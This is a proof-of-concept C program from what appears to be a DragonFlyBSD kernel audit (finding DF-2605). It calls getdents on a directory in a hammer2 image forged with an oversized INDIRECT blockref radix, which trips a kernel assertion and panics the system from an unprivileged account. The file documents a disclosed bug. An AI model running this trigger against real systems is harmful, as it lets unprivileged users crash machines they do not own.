DragonFlyBSD Kernel Audit
DF-2605 / poc.c
← back to finding ↓ download raw
/*
 * poc.c - DF-2605 trigger: readdir into a hammer2 directory whose
 *         INDIRECT blockref has been forged with an oversized radix.
 *
 * The forged image (produced by forge.c) contains an INDIRECT bref whose
 * data_off radix has been inflated (e.g. radix 17 -> bytes=128KB via the
 * unvalidated `1U << radix` in hammer2_chain_alloc).  When the kernel
 * loads this chain (during readdir/getdents of any entry in the directory)
 * it calls hammer2_io_bread(bref->data_off, chain->bytes).  The I/O layer
 * recomputes lsize from the same data_off radix and the KKASSERT
 *
 *   KKASSERT(pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase);
 *
 * fails for radix > 16 (lsize > HAMMER2_PBUFSIZE=64KB), panicking the
 * default GENERIC kernel.  This is the same KKASSERT site as DF-2583 --
 * DF-2605 is the upstream root-cause class (unvalidated radix in
 * hammer2_chain_alloc at hammer2_chain.c:189-190).
 *
 * Run as unprivileged user (maxx) on a hammer2 mount whose image was
 * forged by forge.c.  readdir'ing the directory triggers the INDIRECT
 * load -> panic.
 *
 * Build:  cc -O2 -o poc poc.c
 * Usage:  ./poc <dir>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/syscall.h>

/* DragonFly getdents = syscall 480 */
#ifndef SYS_getdents
#define SYS_getdents 480
#endif

int main(int argc, char **argv)
{
    const char *dir;
    int fd, rc;
    ssize_t n;
    char buf[16384];

    if (argc < 2) {
        fprintf(stderr, "usage: %s <dir>\n", argv[0]);
        return 2;
    }
    dir = argv[1];

    fd = open(dir, O_RDONLY | O_DIRECTORY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    printf("[*] getdents(%s) -> triggers INDIRECT chain load (DF-2605)\n", dir);
    fflush(stdout);
    n = syscall(SYS_getdents, fd, buf, sizeof(buf));
    rc = errno;
    printf("[*] getdents returned %zd (errno=%d %s)\n",
           n, rc, n < 0 ? strerror(rc) : "ok");
    fflush(stdout);
    /* If we get here, the kernel did NOT panic -- either the bug was
     * fixed (radix rejected before the KKASSERT) or the forged radix
     * didn't drive a load. */
    close(fd);
    return 0;
}